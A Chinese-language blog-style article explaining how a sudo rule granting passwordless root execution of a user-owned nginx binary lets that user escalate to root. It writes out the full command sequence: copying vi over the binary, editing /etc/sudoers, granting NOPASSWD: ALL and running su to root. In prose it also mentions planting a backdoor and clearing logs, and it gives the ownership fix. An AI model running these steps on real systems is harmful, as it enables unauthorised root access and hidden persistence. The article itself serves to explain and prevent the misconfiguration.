今天在这里讨论Linux系统中一个非常滑稽的系统配置失误，就是sudo，为什么说是滑稽的配置呢，就是因为如果配置不当的话，普通用户非常容易就可以提权到root用户，而且没有一点技术含量，系统管理员自己以为已经做好了权限管理，其实如果配置不当，权限漏洞已经出现。
很多公司Linux系统都会用到sudo来配置普通用户可以执行的超级用户权限，一是为了系统管理员更安全的操作系统，二是可以为研发人员提供可控的权限范围，下面就看一下我们在系统中常见的sudo配置文件。
复制代码 代码如下:
admin ALL=(ALL) NOPASSWD: /app/nginx/sbin/nginx
这一段配置文件显示admin用户可以通过sudo来调用root权限启动nginx，相信这也是经常使用sudo的功能之一，因为如果nginx启动的是80端口的话，普通用户是无法启动的，因为系统限制了1024以下的端口监听只有root权限才可以操作，问题大多出现在这个sbin目录下的nginx可执行文件上，因为我们既然要将nginx的管理权限交付给普通用户admin，那么大部分情况是nginx的所有文件权限所属用户及组也都为admin，就像下面显示的这样。
复制代码 代码如下:
[admin@localhost sbin]$ ll
总用量 3004-rwxr-xr-x 1 admin admin 3066035 9月 10 2014 nginx
但是如果sbin目录下的nginx文件权限也为admin用户，而此时该文件还在sudo权限配置中，那么问题就来了，admin用户可以将系统任意命令copy过来变成nginx文件，到这里大家应该知道潜在的风险是有多大了，只要是任何命令文件admin用户有只读权限，那么就可以把文件变成nginx，随意以root身份执行该命令，因为sudo只关心执行的文件名，而不关心文件内容本身，如果此时admin用户需要提权到root用户下也很简单，只要将系统的vi命令copy到sbin目录下并重命名为nginx，当文件替换后，此时的nginx文件就变成了系统的vi命令，如果admin用户此时运行sudo nginx时就是以root用户的权限来执行vi动作了，例如用户执行sudo nginx /etc/sudoers，他就可以用root身份来编辑这个文件，从而给自己开放一个NO PASSWORD ALL的权限，只要保存sudo配置文件，执行sudo su -就可以轻松切换到root权限中来了，而后再将被替换的nginx文件复原，此时用root权限就可以轻松留下系统后门，同时再清空操作记录，完成整个操作而不留痕迹，下面来总结一下admin提权需要的几步操作。
[admin@localhost ~]$ sudo -l用户 admin 可以在该主机上运行以下命令：
复制代码 代码如下:
(ALL) NOPASSWD: /app/nginx/sbin/nginx
[admin@localhost ~]$ which vi
/bin/vi
[admin@localhost ~]$ cp /bin/vi /app/nginx/sbin/nginx
[admin@localhost ~]$ sudo /app/nginx/sbin/nginx /etc/sudoers //注意此时已经是调用root权限vi编辑sudoers文件了
[admin@localhost ~]$ sudo -l用户 admin 可以在该主机上运行以下命令：
(ALL) NOPASSWD: ALL
[admin@localhost ~]$ sudo su - root
[root@localhost ~]# //用户成功切换到root权限
避免这样的问题发生其实也很简单，就是将我们需要执行的文件所属权限都改为root即可，这样普通用户就没有办法用copy的方法来改写这个文件，因为他对于该文件已经没有操作权限了，从而也就规避了这种提权风险。
最后提一下发现这个配置问题的过程，在很早刚开始负责运维工作时，那个时候还是在一家传统互联网企业，甲方对于权限的控制非常严格，对于系统操作人员只提供普通用户权限，如果普通用户需要操作apache或者是nginx等就需要配置sudo，由于申请root权限的流程非常繁琐，在一次非常紧急的系统故障处理中就发现了这个方法，而当时的sudo可执行文件就存在权限所属的问题，最终提权成功了，不过这种方法还是不鼓励大家去做哈，如果在生产系统中发现有这样的问题，应该及时更新修复，避免由于权限泄漏导致的更多问题。